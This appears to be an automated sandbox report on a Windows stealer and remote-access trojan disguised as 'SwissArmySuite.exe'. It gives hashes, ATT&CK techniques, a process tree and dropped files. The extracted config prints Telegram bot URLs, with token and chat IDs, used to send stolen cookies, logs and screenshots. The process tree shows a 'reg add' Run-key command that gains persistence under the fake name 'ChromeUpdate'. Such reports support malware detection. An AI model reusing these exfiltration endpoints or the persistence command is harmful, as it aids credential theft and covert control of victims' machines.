gurcu | 4a665905b9f38b14bdf6df4534d4be7e1f1f66e18c117fdf09bf3ae113e7f9ae

Analysis

max time kernel
90s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
02-12-2024 15:03

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General

Target

SwissArmySuite/SwissArmySuite.exe
Size

19.5MB
MD5

11d14c97869ea381661418d7f7ed24f3
SHA1

1ad45d4bafe7b62c61960d212fa61011a43c546b
SHA256

703bd75c721e362922484aed47f52a25e70e9e6555b01e569f460753e6b64dc8
SHA512

2b15c4c412e4f182a9c6329001f83d67f92317afa90c4d86bcffdf59f87e44d42ca82d74d880927397465bc3ae7d265a99485d03c824c081e71c7a6fc2f05adc
SSDEEP

393216:GB62IN4Eg5zDmMStlgQYrMUGBuaUrs6BlLN:GB6X4N5fmMHRu7Ug6BlR

Score

10^/10

gurcu milleniumrat discovery persistence rat spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendDocument?chat_id=-4590251468&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20181.215.176.83%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendDocument?chat_id=-4594364141&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendMessage?chat_id=-4594364141

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/getUpdates?offset=-

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendDocument?chat_id=-4594364141&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
stealer gurcu
MilleniumRat
MilleniumRat is a remote access trojan written in C#.
rat stealer milleniumrat
Milleniumrat family
milleniumrat

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

jjj.exeDotStealerBuild.exebuilt.exeSwissArmySuite.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	jjj.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	DotStealerBuild.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	built.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	SwissArmySuite.exe

Executes dropped EXE 4 IoCs

Processes:

jjj.exeSwissArmySuite.exeDotStealerBuild.exebuilt.exe

pid	Process
3080	jjj.exe
704	SwissArmySuite.exe
3520	DotStealerBuild.exe
3376	built.exe

Loads dropped DLL 2 IoCs

Processes:

DotStealerBuild.exebuilt.exe

pid	Process
3520	DotStealerBuild.exe
3376	built.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\SwissArmySuite\\built.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

Processes:

flow	ioc
8	raw.githubusercontent.com
9	raw.githubusercontent.com
24	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
20	ip-api.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

DotStealerBuild.exebuilt.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	DotStealerBuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	DotStealerBuild.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	built.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	built.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

Processes:

reg.exe

pid	Process
2248	reg.exe

Suspicious behavior: EnumeratesProcesses 56 IoCs

Processes:

DotStealerBuild.exebuilt.exe

pid	Process
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3520	DotStealerBuild.exe
3376	built.exe
3376	built.exe
3376	built.exe
3376	built.exe
3376	built.exe
3376	built.exe
3376	built.exe
3376	built.exe
3376	built.exe
3376	built.exe
3376	built.exe
3376	built.exe
3376	built.exe
3376	built.exe
3376	built.exe
3376	built.exe
3376	built.exe
3376	built.exe
3376	built.exe
3376	built.exe
3376	built.exe
3376	built.exe
3376	built.exe
3520	DotStealerBuild.exe
3376	built.exe
3376	built.exe
3376	built.exe
3376	built.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

DotStealerBuild.exebuilt.exe

description	pid	Process
Token: SeDebugPrivilege	3520	DotStealerBuild.exe
Token: SeDebugPrivilege	3376	built.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

built.exe

pid	Process
3376	built.exe

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

SwissArmySuite.exejjj.exeDotStealerBuild.exebuilt.execmd.exe

description	pid	Process	procid_target
PID 4352 wrote to memory of 3080	4352	SwissArmySuite.exe	81
PID 4352 wrote to memory of 3080	4352	SwissArmySuite.exe	81
PID 4352 wrote to memory of 704	4352	SwissArmySuite.exe	82
PID 4352 wrote to memory of 704	4352	SwissArmySuite.exe	82
PID 3080 wrote to memory of 3520	3080	jjj.exe	84
PID 3080 wrote to memory of 3520	3080	jjj.exe	84
PID 3080 wrote to memory of 3376	3080	jjj.exe	85
PID 3080 wrote to memory of 3376	3080	jjj.exe	85
PID 3520 wrote to memory of 3420	3520	DotStealerBuild.exe	91
PID 3520 wrote to memory of 3420	3520	DotStealerBuild.exe	91
PID 3376 wrote to memory of 2884	3376	built.exe	93
PID 3376 wrote to memory of 2884	3376	built.exe	93
PID 2884 wrote to memory of 2248	2884	cmd.exe	95
PID 2884 wrote to memory of 2248	2884	cmd.exe	95

C:\Users\Admin\AppData\Local\Temp\SwissArmySuite\SwissArmySuite.exe
"C:\Users\Admin\AppData\Local\Temp\SwissArmySuite\SwissArmySuite.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4352
- C:\Users\Admin\AppData\Roaming\jjj.exe
  "C:\Users\Admin\AppData\Roaming\jjj.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3080
- - C:\Users\Admin\AppData\Roaming\DotStealerBuild.exe
    "C:\Users\Admin\AppData\Roaming\DotStealerBuild.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3520
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpBECC.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpBECC.tmp.bat
      4⤵
      PID:3420
- - C:\Users\Admin\AppData\Roaming\built.exe
    "C:\Users\Admin\AppData\Roaming\built.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3376
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\SwissArmySuite\built.exe /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2884
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\SwissArmySuite\built.exe /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:2248
- C:\Users\Admin\AppData\Roaming\SwissArmySuite.exe
  "C:\Users\Admin\AppData\Roaming\SwissArmySuite.exe"
  2⤵
  - Executes dropped EXE
  PID:704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpBECC.tmp.bat

Filesize
119B

MD5
7b520168d7ef6cc706241d1ed65ba42f

SHA1
a119262f0ad95bbb4ca8a6ad8a52e7c6db7ffe5f

SHA256
22a5bf26a3276c09158a8e6ab43753b13f9f0a4c891975ed9d0f7a6471428494

SHA512
de23910e1c7529f53e6ec0fdf575361834ae4f32548821fb3475821b6ddc224e7130139283f3402ba9b0efd61a70ef6930c7a6f1298e48480119e43ce6933dfe

Download Submit
C:\Users\Admin\AppData\Roaming\AdminUserCash\CREDIT~1

Filesize
116KB

MD5
f70aa3fa04f0536280f872ad17973c3d

SHA1
50a7b889329a92de1b272d0ecf5fce87395d3123

SHA256
8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

SHA512
30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

Download Submit
C:\Users\Admin\AppData\Roaming\DotStealerBuild.exe

Filesize
5.6MB

MD5
52f581505afef83b39aefde9ae711e35

SHA1
579bbee21d09878d11cc10b045cd32c00dede4b0

SHA256
01bd7c1203d3bd62440082a8dd0789b46b7e0481ad98951f53487094784e0a02

SHA512
0a294de86a495d425b68fdc574e364868cf6629ebf12f426cbbb3258c35c5b93a41e6d5a4bad833733afb155fe965f03d1bf0fe73d5294a9f58dd4a6b8819c25

Download Submit
C:\Users\Admin\AppData\Roaming\SwissArmySuite.exe

Filesize
8.1MB

MD5
8ce7f4eb149ecc2e868a7c7bd5ee2282

SHA1
6b6d877f0b0fcd1ace72f9f6069145a4d921f680

SHA256
abc1c1c17694fcad7f7882cc62fa87c9774b807526ed09c8087bf70b1a8c5c18

SHA512
eca7238603a04febec7980f6d9572d97b49bcac2a1e0f0d43a898e71da647c0bf9e918fe709d5989f90f9b0f8cc3ab4a2507e0cbfb7ae5200c0410f8045f6d09

Download Submit
C:\Users\Admin\AppData\Roaming\built.exe

Filesize
5.6MB

MD5
63b01821cbe6ef9e33fb2b756da07fef

SHA1
e4f618bc9d7c7e534460499ac73eb7a97253aa69

SHA256
7666b280f3eae2e92b753115a29be18dc5d108775e174172308905a02b08e730

SHA512
10d96eed133fe5cc8a01bfe97649affcbf74aaa37ea7eebea545733cd300544a60ac11b9b47dbedd382e6004bc945acf0a78a796b32a1148fbb502fd7ed0adfc

Download Submit
C:\Users\Admin\AppData\Roaming\jjj.exe

Filesize
11.3MB

MD5
4dc27dd3f53e59f186fe7c78d9671874

SHA1
04e30a4612fdb4d53a9335a8ebbf2574d5027a55

SHA256
3b59d780cff0716f35557705bcc4a5d43ecabfa3e5fd79e93e4245049fab7585

SHA512
bd916c3515f0ef24969df0693d36ffd1bcc21acade1531bd7b0773892570d18255f89e3b52ee071937960b7372c70128ca64d1f22dc3107a2a368b77ae160135

Download Submit
memory/3080-57-0x00007FFD55DD0000-0x00007FFD56891000-memory.dmp

Filesize
10.8MB

Download
memory/3080-14-0x00007FFD55DD0000-0x00007FFD56891000-memory.dmp

Filesize
10.8MB

Download
memory/3080-13-0x0000000000820000-0x0000000001372000-memory.dmp

Filesize
11.3MB

Download
memory/3376-58-0x0000026271E80000-0x0000026272422000-memory.dmp

Filesize
5.6MB

Download
memory/3520-69-0x000001B130D50000-0x000001B130D76000-memory.dmp

Filesize
152KB

Download
memory/3520-66-0x000001B14B180000-0x000001B14B1A2000-memory.dmp

Filesize
136KB

Download
memory/3520-51-0x000001B130D10000-0x000001B130D1A000-memory.dmp

Filesize
40KB

Download
memory/3520-61-0x000001B130D30000-0x000001B130D4E000-memory.dmp

Filesize
120KB

Download
memory/3520-62-0x000001B14B060000-0x000001B14B0CA000-memory.dmp

Filesize
424KB

Download
memory/3520-64-0x000001B14B0D0000-0x000001B14B182000-memory.dmp

Filesize
712KB

Download
memory/3520-65-0x000001B14B1D0000-0x000001B14B220000-memory.dmp

Filesize
320KB

Download
memory/3520-52-0x000001B14ADA0000-0x000001B14AE16000-memory.dmp

Filesize
472KB

Download
memory/3520-68-0x000001B14BEA0000-0x000001B14BEDA000-memory.dmp

Filesize
232KB

Download
memory/3520-38-0x000001B130330000-0x000001B1308C8000-memory.dmp

Filesize
5.6MB

Download
memory/3520-70-0x000001B14BEE0000-0x000001B14C20E000-memory.dmp

Filesize
3.2MB

Download
memory/3520-94-0x000001B14B280000-0x000001B14B292000-memory.dmp

Filesize
72KB

Download
memory/4352-0-0x00007FFD55DD3000-0x00007FFD55DD5000-memory.dmp

Filesize
8KB

Download
memory/4352-1-0x0000000000B90000-0x0000000001F18000-memory.dmp

Filesize
19.5MB

Download